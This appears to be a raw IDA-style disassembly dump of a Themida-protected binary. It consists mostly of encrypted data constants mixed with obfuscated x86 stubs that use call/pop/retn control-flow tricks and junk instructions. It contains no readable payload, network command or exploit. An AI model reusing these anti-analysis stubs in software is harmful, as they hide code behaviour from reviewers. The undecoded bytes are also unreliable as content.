68FCC8EDh, 8F5D29AFh dd 0EA9EC3C1h, 51B71D1Fh, 0D03696D4h, 7F73C308h, 0C3CA1278h dd 0AC6E7F73h, 0DC9E32F4h, 1A80EC09h, 755BDCCFh, 0D68AAF71h dd 0A3E74206h, 74AE1A1Bh, 0BD8D910Eh, 653157C3h, 0C2563E63h dd 7ED105F9h, 56B8795Bh, 8147179Dh, 0E44AB6B4h, 795B7E34h dd 9B187E40h, 0A8CDC797h, 0BE2424F4h, 795B7E1Eh, 0CDF2581Ah dd 0EFAF6806h, 0D8FDFBC9h, 0B6865CF0h, 35443FBCh, 81C15A1Ch dd 19Bh, 421F4AEh, 40123898h, 50B6AC7Eh, 1D73D2Bh, 337F7393h dd 61770B71h, 755B5ECEh, 9A82A430h, 21464412h, 0BFEA0939h dd 486EDA40h, 71597E78h, 0C62614DDh, 20D80066h, 9A5C795Bh dd 5B20F028h, 2EC28479h, 118E8858h, 0A5773D0Dh, 369C8AAFh dd 795B20E6h, 46AD092h, 0A5A77298h, 0C4944811h, 30DEA5CAh dd 1D42380Ah, 36380335h, 29E9A2A2h, 20B563C9h, 0FDBF795Bh dd 0C9C39369h, 0E228514Ch, 4D8EC159h, 0BB000000h, 96021FF4h dd 7393C830h, 7EEAACFFh, 9360B81Eh, 5214FF73h, 0DB01F5BEh dd 0E3FF7393h, 3EF21715h, 974B7072h, 0BFA7CCCAh, 9D23DC7Ah dd 769CFD1h, 0A378EAA3h, 4CAC127Eh, 287F7393h, 67CDCF9Ah dd 0B786ACEAh, 0C85029BDh, 57000000h, 0A93A21F4h, 229159BDh dd 759B479Fh, 0B91FAE23h, 97BCBA87h, 77DD49AFh, 755B7AA4h dd 3BEF14D6h, 4D84A76Bh, 52BCF618h, 0F2584E20h, 41113775h dd 0A16E2247h, 30967EA3h, 0F6F6C69Ch, 5B3D4890h, 0A4A67279h dd 1DDF977Fh, 58254BB7h, 0B94D355Ah, 3CC7FCF0h, 50B2795Bh dd 50B3D797h, 0B57C64C3h, 1AEAC054h, 0E0B3A320h, 4D3357C3h dd 0D62E6757h, 9E0414A8h, 730A25CCh, 0D3C1E6A8h, 4DE1DFADh dd 41ADA777h, 1A874B1Bh, 929B32A8h, 4E17AB11h, 808C89Ah dd 0ACE7960Eh, 1ED2F75Dh, 30E84E4Eh, 44732455h, 2BF71C82h dd 0DA24DE97h, 46401036h, 87F9B2B2h, 0BD238FB4h, 79755CADh dd 2022ED13h, 237F13FBh, 0F47BE461h, 4098FE21h, 0F47F7393h dd 34320032h, 0DC0262CEh, 657B0F11h, 75229A05h, 0D488AD6Fh dd 898D0A04h, 0AC9ABFB9h, 96BBB986h, 0F3041AAEh, 0E1CCB227h dd 5A2AB069h, 0FDFE360h, 0DC02F015h, 0A87E120Ch, 0EFBBE0D6h dd 4C1CA25Bh, 87B9BB86h, 0B098BDB7h, 0F9C9CD4Ah, 0C23DAFFh dd 2A000000h, 3DAE82A6h, 0FBA325E4h, 0E0EB3867h, 40F4190Fh dd 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h dd 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 81E78957h, 4C7h dd 4B95100h, 29000000h, 3C8759CFh, 89525C24h, 4C281E2h dd 83000000h, 148704EAh, 3C895C24h, 13F6824h, 4890000h dd 52B85024h, 5533067Ch, 400A21BDh, 0E7F58142h, 8127C41Dh dd 36165CF5h, 5DE83107h, 8584522Dh, 58C7894Bh, 4EC81h dd 24890000h, 24048124h, 4, 0FD895558h, 8BA52h, 0C2010000h dd 5D5A2A89h, 582434FFh, 0FF04C483h, 815F2434h, 4C4h, 80A7E900h dd 986EFFF9h, 0ABB8E5EDh, 3062EFEh, 25E0FFC5h, 0C405D00h dd 353BA084h, 9A2496E8h, 0BA2F1A22h, 5C0AC27Dh, 2163617Bh dd 726770ECh, 4D6B238Eh, 8A625302h, 58255B8Ah, 6E0758CFh dd 0C81C952Fh, 3F1F390Bh, 525956AEh, 0F83956C4h, 2445CB17h dd 60A805h, 46306325h, 0E9099D7Fh, 33h, 6CFCB985h, 0Bh dup(0) dd 0E9000000h, 54Eh, 0D14E4415h, 8401FFCDh, 35B2B480h dd 0EC695F31h, 0A01D1BE8h, 3300F19Dh, 0E5B4B835h, 9F6A6EEBh dd 4C1C209Dh, 1FAFD552h, 5D6C63B9h, 0CD421579h, 0AA1010E0h dd 7F739372h, 0B9DE4406h, 0BD3A3805h, 0CAEFE9B9h, 274C4616h dd 7B471339h, 4772B5C2h, 0D3FA54Eh, 0D5AB3F41h, 0AE40907h dd 8353D992h, 3D080C89h, 0EFBABE3Bh, 4514C8EDh, 0C65A264Bh dd 0BABC870Dh, 6F69393Dh, 8C83564Ah, 5B577F73h, 4E5425A2h dd 183EBB31h, 3F274C4Ah, 6CBFABh, 0E0EC0000h, 0FDF11610h dd 7F7393D9h, 0F4190FE1h, 42747240h, 7B557A70h, 7A904A03h dd 3148C57Eh, 85BB312Fh, 0Ah, 0DD91B9DDh, 0F548911Fh, 12E02661h dd 6D3BEF14h, 365C4A6Fh, 1D76B69h, 510F332Fh, 16400BC0h dd 0EF6CAC1Eh, 0C18E7F73h, 0DD490BC3h, 73EFA177h, 0AB11D37Fh dd 7B34AC86h, 0AC2927F5h, 7C7A486Eh, 484212E8h, 13E062CBh dd 0E349A915h, 7F739335h, 20E97D3Fh, 1F030E32h, 0ED27F55Bh dd 8F517F73h, 7310F5Fh, 0D1CF9D73h, 8E47E5ACh, 0DFD9A8CEh dd 0AAA8754Bh, 4848183Eh, 73D83AE2h, 167C3E7Fh, 5D709F1h dd 565A7B0Fh, 0F8208686h, 7C7F73D8h, 88E854BAh, 73D8FA22h dd 28BC7E7Fh, 0DDDFAB5Fh, 7D7F4B71h, 9E047058h, 7F73D87Eh dd 0DBA438FAh, 6CE9A2E8h, 0BB31781Dh, 6699h, 46A6C600h dd 739338E0h, 0E67A3C7Fh, 20454310h, 799EA06Ch, 0E86E279Fh dd 9CA01D1Bh, 0BEACD1CFh, 38CCCA98h, 759A9062h, 0D1F6F4C1h dd 30554B1Dh, 8BB0AE7Ch, 1AD34BA3h, 0F0A9EF60h, 312D1673h dd 3FA0BBh, 0E0CD0000h, 3CF01513h, 0DF036F71h, 436C6EE0h dd 40099D60h, 0BA40F95Bh, 5D83EFEDh, 846C918Fh, 0E066CFF0h dd 0FBEF1412h, 7F7393D8h, 0CA4700FCh, 0BB3130AFh, 807h dd 67395F00h, 0D0644C71h, 1214E095h, 0B3B580A6h, 4912A68Eh dd 33FFC595h, 0DAA6CB31h, 0A7CD8D46h, 5B9DED8h, 2B13383Ah dd 8F5B31C5h, 0BA150AC3h, 0BC287AA4h, 73998656h, 8AF0B27Fh dd 294A1D0Dh, 868C57BDh, 0ECAE755Bh, 7D4313C7h, 0D04DB3ADh dd 9602FCCCh, 8208D036h, 6A2C795Bh, 0C5190DD6h, 0FD795B82h dd 5A0E332Dh, 886D9288h, 50B36D26h, 0DFAF35EEh, 946468E5h dd 0F1C1759Ah, 6D0BD2F7h, 0FECEF4B4h, 0CA9A7004h, 82B464CAh dd 0A60C795Bh, 795B8276h, 0C6884002h, 9606E496h, 2A902EB4h dd 77496FADh, 0E0745C81h, 59956613h, 38062CC1h, 6062CE70h dd 90F62912h, 14210FCh, 0A63D0000h, 2AFF1882h, 0B549CC53h dd 970320F3h, 230BD137h, 13797F73h, 7F7323C5h, 33F5AD6Fh dd 86298F9Fh, 0F8755BEEh, 8D5D1136h, 42121693h, 9F6F2348h dd 1BB980A5h, 120CDC62h, 0E7B580A6h, 4DB91F15h, 5B7631E7h dd 0ED814379h, 82E8ECCh, 0CCC3E38h, 28795B76h, 7405D266h dd 42C15A14h, 42h, 21FF46Fh, 93C83096h, 0EAACFF73h, 930BD1C5h dd 1F83FF73h, 21FF466h, 93C83096h, 20AC7F73h, 0B1EBDCD3h dd 4AC72D5Bh, 9646AC0Ch, 287F73AAh, 0E0A25A5Ch, 0A6734Ch dd 7FA50000h, 0A991B6B0h, 80A6DA15h, 6224B8AEh, 94FA668Fh dd 755BB441h, 65C531F3h, 5B8CD9FFh, 1315E179h, 8C4E06EEh dd 6C918B5Ah, 7327F084h, 0D7FCDFA3h, 91B89710h, 0F95FBF2Bh dd 795B5723h, 0DEFF9355h, 0A4100ADAh, 1AE9AF7Eh, 0AD95BA20h dd 3C625019h, 0C5DB6F71h, 795B560Ch, 0DA60197Bh, 0A393100Ah dd 0E747B3D0h, 0C1F3F5C1h, 0E7CFF4F6h, 56E83D53h, 480A730Ah dd 0A59F6F23h, 49431339h, 8C20ECB5h, 21ED13D3h, 2220ED1Fh dd 0BF8115FDh, 0FB5BC7ECh, 0E50A08D5h, 0F25369FDh, 6C797556h dd 0E4787A46h, 0E049C688h, 38E046A6h, 3C7F7393h, 93CE0E74h dd 0A86A7F73h, 19ECAE42h, 0D03090FCh, 7393B26Ah, 6638C67Fh dd 0FD634B70h, 93F25369h, 466C7522h, 6D557A78h, 0DC706E3Bh dd 0E599BE80h, 89AF1B15h, 0B29ABFB9h, 29F9FD1Eh, 0D19DC32Fh dd 2EC2AACFh, 0D6B87165h, 0C23AD7A8h, 0B9B38309h, 0BD8FE3Ch dd 6C00E80Dh, 0A7CCC696h, 8F5F21F3h, 0EFBC7095h, 258BF1h dd 0CA309034h, 0E712E12h, 0D0D06426h, 0C7C19117h, 4795FB5Bh dd 0F10E712Eh, 0BF5DC32Fh, 0B90E712Eh, 44263F7h, 3EDE44A4h dd 3A0E712Eh, 2ED60678h, 0A0620E71h, 0A066360Ch, 3E3808D2h dd 33FFB3D8h, 4065CB31h, 389h, 3A879000h, 0F4190FE0h, 51767040h dd 0ABD0D29Dh, 92E28F7h, 658A8855h, 0C1E6E4B1h, 20453B0Dh dd 799EA06Ch, 0D4F9F7C5h, 0E08950FFh, 405h, 4E88300h, 8B240487h dd 89502424h, 405E0h, 42D0000h, 87000000h, 895C2404h, 8951242Ch dd 4C181E1h, 83000000h, 0C8704E9h, 1C895C24h, 0FFCB6824h dd 2C8B062Eh, 4C48324h, 74ED68h, 24248900h, 4240481h, 5B000000h dd 8904EC83h, 0EA892414h, 5A085389h, 5B2434FFh, 0FF04C483h dd 835D2434h, 0CEE904C4h, 0B4FFF97Ah, 143BF9A3h, 5177D31Ch dd 9CB84266h, 3062F04h, 7AE0FFC5h, 142045F8h, 3D752073h dd 0E54414C8h, 5053A35h, 0D7160CCDh, 0FC4448FFh, 521D78A2h dd 73237FFh, 0E246DEE8h, 980F500Ch, 7128AE07h, 0F5392D70h dd 271D3B19h, 101841DFh, 1972A15Eh, 0C34F7070h, 5806F927h dd 916049FAh, 4A3EF2D0h, 8D749906h, 2F06798Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 158D8920h, 0E8062807h, 13h, 12BC30F8h, 0AF78557Fh, 39761CC9h dd 4111934Eh, 0BA3D8EC2h, 42404529h, 0AE85Eh, 0F7260000h dd 0BF25E91Bh, 0F70890E7h, 8B0Fh, 0C75E0000h, 2821BD85h dd 5DC406h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0B64ED257h, 7F73D7D2h, 61605257h dd 0A7B35A5Bh, 113D85C7h, 628h, 8B660000h, 21B5FFF9h, 6A062813h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0E994C353h, 9C183988h, 0F8F1CEA6h, 14D995FFh dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0AA5153C3h, 0F2FC7718h, 29F1F9C9h, 281711B5h dd 0FD858B06h, 6A062833h, 6595FF00h, 8B062804h, 2B29EBC0h dd 7CBB0A47h, 51F65667h, 35CC5A57h, 0EB7225Ah, 13FCA6EAh dd 3C6F4DE9h, 425C6DF0h, 0EB26410Dh, 8AF75F3Fh, 400AEA1Ah dd 7B58D8Dh, 6A062Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0BF0F0BC3h, 51CA81FEh, 897203E0h dd 2807158Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0BD313178h, 62812B9h, 21BD85C7h dd 59200628h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 800FFCC3h, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+628113Dh], 0 mov [ebp+62800B5h], ebx push dword ptr [ebp+62826BDh] push 0 push edi call sub_5B9A8D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9A8D proc near ; CODE XREF: Themida_:005B9A85p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5B9A8D endp ; --------------------------------------------------------------------------- db 0FFh, 0EAh, 0BDh dd 82D4E6BDh, 14E8C4BCh, 59000000h, 0FAF9B079h, 22487491h dd 5A03A10Dh, 61393360h, 51A3228Eh, 585FC38Bh, 14D995FFh dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 1434FC3h, 2116719Bh, 399D2924h, 6A062818h dd 6595FF00h, 8B062804h, 0ED29EBC0h, 0B7D6D9D0h, 4BBF9962h dd 0A5CF524h, 0F9B4722h, 0A78C8511h, 0FD0EA0CEh, 902B5612h dd 48D0B60Ch, 882EA02Eh, 0EB5C2444h, 8928D8Dh, 6A062Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 44AFFDC3h, 0C6B70F2Dh, 0FC74DB81h, 8D895F9Bh, 6280715h dd 34B1958Bh, 0FE90628h, 0B8000000h, 9ED2C775h, 8DC7A697h dd 0F6A4CDA5h, 85C75DC7h, 62821BDh, 5DCCh, 829B58Bh, 85C70628h dd 628113Dh, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5B9B9B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9B9B proc near ; CODE XREF: Themida_:005B9B93p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5B9B9B endp ; --------------------------------------------------------------------------- db 0B1h dd 13A84EECh, 1479BD8Bh, 0BD890628h, 6282D8Dh, 2EC9B5FFh dd 8A0F0628h, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+62814D9h] mov ebx, edi push 0 call dword ptr [ebp+6280465h] mov eax, eax jmp short loc_5B9C3B ; --------------------------------------------------------------------------- dd 37823147h, 6C65C5A1h, 0F4C6EED0h, 0FBAE64D6h, 0D2035939h dd 0D5F975E2h, 1A83FA23h, 45048049h, 2E402438h, 0AAA51868h dd 57E9ED14h, 95BD5222h, 5701E726h, 95557A8Ah, 0DB09CE8Eh dd 9C3D35C1h, 4878E8D5h, 40120F46h, 4730E94Ch, 0E8FA6679h dd 0C83B9DF7h, 99EA43E2h, 0CF012FB7h db 0EDh, 2, 0CDh ; --------------------------------------------------------------------------- loc_5B9C3B: ; CODE XREF: Themida_:005B9BDAj call sub_5B9C4C lea eax, [ebp+57BC6330h] pop ds add eax, [bx+si+17h] pop ebx ; =============== S U B R O U T I N E ======================================= sub_5B9C4C proc near ; CODE XREF: Themida_:loc_5B9C3Bp stc pop eax mov cx, di add eax, 62EDh mov [ebp+6281631h], edi push 0 or ecx, [ebp+62801DDh] pop ebx pusha mov ebx, 470F4A30h ja loc_5B9C7B adc eax, 9BDE28Ah loc_5B9C7B: ; CODE XREF: sub_5B9C4C+23j popa loc_5B9C7C: ; CODE XREF: sub_5B9D0F+23j push dword ptr [ebx+eax] mov edi, 3EE0B175h pop edx sub di, 10B7h xor edx, 3521B7F3h mov ecx, 163136E9h sub edx, 4B085D6Fh mov [ebp+6281E9Dh], eax xor edx, 38E2402h mov edi, 353666C0h push edx mov [ebp+6280DF9h], edi pop dword ptr [eax+ebx] jmp loc_5B9CC6 ; --------------------------------------------------------------------------- align 4 dd 0CA311FD1h, 5B85AABh db 4Ch, 0BCh ; --------------------------------------------------------------------------- loc_5B9CC6: ; CODE XREF: sub_5B9C4C+6Aj add ch, 68h sub ebx, 3EAAA962h call sub_5B9CE2 mov esi, 3AEDF738h out 25h, eax sub eax, 0FB275666h inc eax pop edi sub_5B9C4C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B9CE2 proc near ; CODE XREF: sub_5B9C4C+83p mov [ebp+6280FA1h], ebx pop edi add ebx, 3EAAA95Eh add esi, 4B038BB8h cmp ebx, 0FFFF9E10h jnz loc_5B9D2C call sub_5B9D0F das xchg eax, esp bound ecx, [eax] fstp dword ptr [esi] push ds jnz short near ptr loc_5B9D57+5 sub_5B9CE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B9D0F proc near ; CODE XREF: sub_5B9CE2+1Fp ja loc_5B9D1B mov [ebp+6282F91h], ebx loc_5B9D1B: ; CODE XREF: sub_5B9D0Fj pop edi jmp loc_5B9D41 ; --------------------------------------------------------------------------- db 37h, 15h, 0A7h dd 1D64B21h, 9EC951B0h ; --------------------------------------------------------------------------- loc_5B9D2C: ; CODE XREF: sub_5B9CE2+19j mov [ebp+6280D61h], esi jmp loc_5B9C7C ; --------------------------------------------------------------------------- xor dh, [edx-60h] adc byte ptr [eax-4E4789A3h], 7Eh loc_5B9D41: ; CODE XREF: sub_5B9D0F+Dj lea ecx, [ebp+62F0AB9h] push 0 push eax call sub_5B9D52 and [eax-3Dh], bl sub_5B9D0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B9D52 proc near ; CODE XREF: sub_5B9D0F+3Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax loc_5B9D57: ; CODE XREF: sub_5B9CE2+2Bj add [esp-4+arg_4], 15h inc eax push eax retn sub_5B9D52 endp ; --------------------------------------------------------------------------- enter 0F8Ah, 0BFh retn 8D89h ; --------------------------------------------------------------------------- db 15h, 7, 28h ; --------------------------------------------------------------------------- push es jmp loc_5B9D79 ; --------------------------------------------------------------------------- dw 0BEE9h ; --------------------------------------------------------------------------- push 67EA69C8h loc_5B9D79: ; CODE XREF: Themida_:005B9D6Dj mov dword ptr [ebp+62821BDh], 59D8h and ebx, [ebp+62820B1h] mov dword ptr [ebp+628113Dh], 0 mov edi, esi push dword ptr [ebp+6281E85h] push 0 push ebp call sub_5B9DA6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9DA6 proc near ; CODE XREF: Themida_:005B9D9Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5B9DA6 endp ; --------------------------------------------------------------------------- dw 5907h dd 7D2B5991h, 8166CD9Bh, 0FFBA2AF6h, 2814D995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DB7AF828h, 75DD9E18h, 0B70FF94Ah, 89B50BD2h, 6A062800h dd 6595FF00h, 8B062804h, 0AB1BEBC0h, 0ECFB13A6h, 0FFDAE3D8h dd 63A4687Ah, 4B84D490h, 9797C5ABh, 0E7AF9679h, 0BE85DC0h dd 3D000000h, 0DCFCC9CFh, 5037AB0Dh, 0BE95350h, 0C2000000h dd 0F20F266Dh, 6EB2436Ah, 0F85E92A2h, 749DC681h, 95290000h dd 62822D9h, 858BFF33h, 6281FEDh, 813E1C8Bh, 69E537EBh dd 65958B59h, 81062803h, 5496E8C3h, 0A6F08117h, 81797091h dd 213BCAF3h, 0CAEC806Bh, 0F3E1C89h, 682h, 55950300h, 66062804h dd 0EF83C68Bh, 5AB96603h, 0DE84F85h, 0B000000h, 0CA18A786h dd 9EDD515Ch, 534D8508h, 841858Bh, 81590628h, 0FF8C30FFh dd 2A850FFFh, 0E8000000h, 13h, 0B1A956E0h, 5E67F41Dh, 0EF4A5B7Bh dd 5CED99A0h, 29D35BC2h, 28211185h, 19E95A06h, 90000000h dd 618821D2h, 0A1B5894Fh, 0E906282Dh, 0FFFFFF68h, 0B773DDEh dd 31FA9977h, 0D2585C6h, 68560628h, 0A9C530DFh, 140DB5FFh dd 858D0628h, 62B6F58h, 8D8DD0FFh, 62821D1h, 0FF406A51h dd 2811ADB5h, 0F1B5FF06h, 0FF06280Fh, 0ADB5FFD0h, 0FF062811h dd 280FF1B5h, 0CE806h, 81240000h, 0B4B93D00h, 0DBC3E248h dd 5F5F2FE3h, 0C104EF83h, 0C102242Ch, 3022424h, 1CF7243Ch dd 8BD23324h, 0EB81171Ch, 1A9C68C6h, 8C3EB81h, 0EB81418Dh dd 1C07FD5Fh, 17048F53h, 3B04EA83h, 850F2414h, 0FFFFFFDBh dd 3919D8Dh, 38B0628h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h dd 0F8D8DC9h, 6A062F0Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 1A11C352h, 158D89AFh dd 9062807h, 281D598Dh, 0BD85C706h, 34062821h, 0E8000066h dd 6, 26A47D4Ah, 858B3190h, 6280F99h, 3D85C758h, 62811h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8BA3C357h, 281A35BDh, 0BD8B5206h dd 6280F11h, 79B5FF5Fh, 6A06282Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 18B8C357h dd 81667CD5h, 0BFA8D3EFh, 4C26DB8Fh, 14D995FFh, 0BF0F0628h dd 0FF006AD8h, 28046595h, 0EBC08B06h, 0D81E0B4Ah, 1CF66B55h dd 0E8C4AA35h, 2268C811h, 3A3B77EDh, 553C4225h, 34E372C7h dd 1A0B9CABh, 0AD510C01h, 0B03FF6CCh, 0A3AC0D8Fh, 5B7F58F1h dd 6F54737Eh, 0C9250B5Dh, 0C9C4912Ah, 491EA6Bh, 47CFFB84h dd 9E1995FEh, 0E9472DECh, 0DEh, 7F506125h, 0CA459CD7h dd 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h dd 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h, 9 dup(0) dd 12E90000h, 68000015h, 62F103Ah, 0F9718CE9h, 111F68FFh dd 82E9062Fh, 68FFF971h, 62F1202h, 0F97178E9h, 131C68FFh dd 6EE9062Fh, 68FFF971h, 62F1396h, 0F97164E9h, 144368FFh dd 5AE9062Fh, 68FFF971h, 62F14E1h, 0F97150E9h, 157D68FFh dd 46E9062Fh, 68FFF971h, 62F1643h, 0F9713CE9h, 17AC68FFh dd 32E9062Fh, 68FFF971h, 62F18CDh, 0F97128E9h, 1A5C68FFh dd 1EE9062Fh, 68FFF971h, 62F1B4Eh, 0F97114E9h, 1C8F68FFh dd 0AE9062Fh, 68FFF971h, 62F1E0Ch, 0F97100E9h, 1FE468FFh dd 0F6E9062Fh, 68FFF970h, 62F20CDh, 0F970ECE9h, 291FF0FFh dd 0DCDAA8ACh, 8D8F5B5Fh, 443A0C10h, 0F8F6C3C7h, 0DB2A787Bh dd 8F93100Eh, 4549C6C0h, 0F7FB787Ah, 8AB02D27h, 9D4494FAh dd 1DF0795Ch, 1610E0A8h, 736D3DF1h, 123306F6h, 925540A6h dd 9557755Bh, 91587C70h, 9662795Bh, 0E9BB6F94h, 7CF4CEF3h dd 529809C3h, 2D5D1C99h, 2059C159h, 86000000h, 980421F4h dd 5BBEAB32h, 0E60BCD75h, 5B862EF2h, 9A539979h, 59445C1Dh dd 1025AC1h, 0A6870000h, 10458282h, 1AAEA4CAh, 557A7444h dd 6AD6D4A1h, 0FE97A046h, 73404098h, 232F47Fh, 0F3877185h dd 0ACA6762Ah, 0C3401C40h, 0D22E7276h, 0ADD80066h, 9A5C7F73h dd 0B9893D06h, 0D02F53BFh, 0B30EDC0Ch, 0FF3D5EF2h, 0DB0B0DD9h dd 7244610h, 0DFF58970h, 7F739517h, 73450BDBh, 969A177Dh dd 60CCC6h, 73B3429Ah, 0A034F67Fh, 736437D7h, 993FA5A1h dd 9B7F73B3h, 0A10D73D9h, 53491B41h, 9CB2462Eh, 755BB009h dd 3C2CA96Bh, 7AE04C69h, 73750C18h, 284EBA7Ch, 91F15D5Bh dd 7DE1EB6Dh, 0D7FCD83h, 73215ECFh, 0E10DB69h, 0EFF314A8h dd 868A5822h, 215EF820h, 54BA7C73h, 73E1472Fh, 0B401D13Ah dd 7020D7B2h, 0A6000012h, 5E62DFD5h, 11159290h, 0C2C64345h dd 797DFAF0h, 2E31AEACh, 0C6C49160h, 7C764549h, 2E30FBFFh dd 0E3DDADB1h, 4AB04066h, 795C8392h, 0E05ED3A6h, 94981513h dd 0E44DCAC4h, 0A27F82A6h, 7EE50013h, 305528EAh, 36FF5EC4h dd 31F9755Bh, 5B0E0DCBh, 0FF652779h, 0E32E6DAh, 478D795Bh dd 0CC68118Eh, 0CA2AC159h, 5B3AB464h, 0CCFEC079h, 816D01FFh dd 0B2h, 1610E0AEh, 72703DF1h, 8EAD594Dh, 0F51B7F73h, 1F072C26h dd 1FE5B58Bh, 7B2F5452h, 0E74DB3A9h, 38062C6Ah, 992D153Ah dd 0D4F9F3C3h, 777A6134h, 0A3000B86h, 268CF85Eh, 755B7283h dd 0D29867F5h, 0F8E00507h, 0BFAF2C92h, 5131FDECh, 0CE1CD847h dd 6BD1CF9Ch, 5C8A99FFh, 0EAAC7375h, 8D8B587Eh, 413F0C10h dd 1264D3h, 762D08B4h, 118Bh, 7DFAF0C1h, 30ADAB79h, 0E15E602Ch dd 98150BDDh, 4CC9C794h, 0DFAC1D49h, 916064E1h, 4B161A97h dd 0F8C8CC49h, 0CB5B81FEh, 5C82B765h, 79EEC179h, 981513E0h dd 45DA365Ah, 4D33EB10h, 1913E3B9h, 10E0339Ch, 6D3DF116h dd 11E10773h, 760AF217h, 83855155h, 7E4A705Eh, 4212E87Ch dd 9ECCCB48h, 960223F6h, 5B860930h, 3DA96B75h, 9EA177DDh dd 47D3795Bh, 0F3B69426h, 0D76BD1C5h, 8F6187A7h, 0F3C07499h dd 0E5FB8FF5h, 62D56432h, 7EEA0BDEh, 658A8C58h, 73D9E97Dh dd 88E95A74h, 0C9B7DC9Eh, 92A206A5h, 4FE39989h, 80CFBA8Dh dd 4EC7AC0Fh, 0B1D743A9h, 0EC0E5E3h, 9D83CAD7h, 871B8188h dd 88771177h, 57197685h, 31F5C5EBh, 61D6C6CAh, 80FD63E7h dd 44B2AC7Ch, 0B2549EFFh, 0A8DD946Fh, 0DE000010h, 969A170Dh dd 494DCAC8h, 0FAFE7B7Dh, 0B1B53228h, 6669E6E4h, 0FEFCC938h dd 0B4AE7D81h, 66683337h, 1B15E5E9h, 82E8789Eh, 795C815Ah dd 0E0960BDEh, 3F11610h, 0EC110FDDh, 0DBAE7004h, 0C8EE4EBAh dd 0F0D8FDFBh, 822F465Ch, 0BB49755Bh, 0E8BF1EBh, 0BE2A4B1Eh dd 73A67958h, 2187E773h, 7323A2FBh, 0CB27BB7Dh, 0F11DD03h dd 23A27F9Dh, 0D137F973h, 0A264B8ACh, 95F7323h, 37D521E5h dd 0D1A11D09h, 64CAB2D7h, 9A17D0D0h, 0C78195DFh, 30D7h dd 21F40400h, 12389804h, 9BB14547h, 755B44D7h, 395FCB8Dh dd 0B1EF6C6Eh, 9DC2BC8Bh, 0CB0B21B5h, 0EF795BDCh, 0A4A8251Fh dd 0FBB2D7D9h, 0FE7h, 3182A602h, 39F461B4h, 0D93F3D0Ah dd 0C7B08345h, 2C98FEF8h, 22CDE0C6h, 0E6521475h, 79F6F0C0h dd 10DFA575h, 0A309F116h, 0EA0BDE7Eh, 8C8A587Eh, 0F982E8F8h dd 7B730DD0h, 57274DB9h, 0CDCE05Dh, 7A4DED12h, 2087ED59h dd 527905D0h, 9EB72290h, 6843AAD5h, 0F8EB1h, 0FDF3C400h dd 0B0AE7C80h, 61632F33h, 180EE0E4h, 0CCCA979Bh, 0AF1E4C4Fh dd 6367E4E2h, 191D9A94h, 0CBCF4C4Eh, 5E8401FBh, 80B068CEh dd 0F1C4795Ch, 937CA07Ch, 0C79A7F73h, 0A7CC329Eh, 9752286h dd 851913E3h, 0DDFB6129h, 57795C9Eh, 9DC32F95h, 5256D3CDh dd 0C3638882h, 767D3F0h, 0A81416E1h, 5C9D9A42h, 48DC9E79h dd 748C5332h, 5733573h, 0B4043D90h, 148A411Ch, 4A00000Fh dd 2068379h, 0B5B93634h, 666AE7E9h, 1D219E94h, 0D2D55250h dd 6A683584h, 201AE9EDh, 0D2D49FA3h, 87815155h, 0EE54E40Ah dd 795C802Eh, 0E002774Ah, 3DF11610h, 0B64E736Dh, 0F58401BAh dd 0C1BB312Ah, 970h, 421F4EEh, 86723298h, 54167522h, 0F8F2C2E8h dd 9E94668Ch, 0F7258B79h, 81795C9Dh, 0A4C559BFh, 0EAE94266h dd 284D4717h, 14B41040h, 7A4A20B4h, 16C4147Ah, 28F6795Ch dd 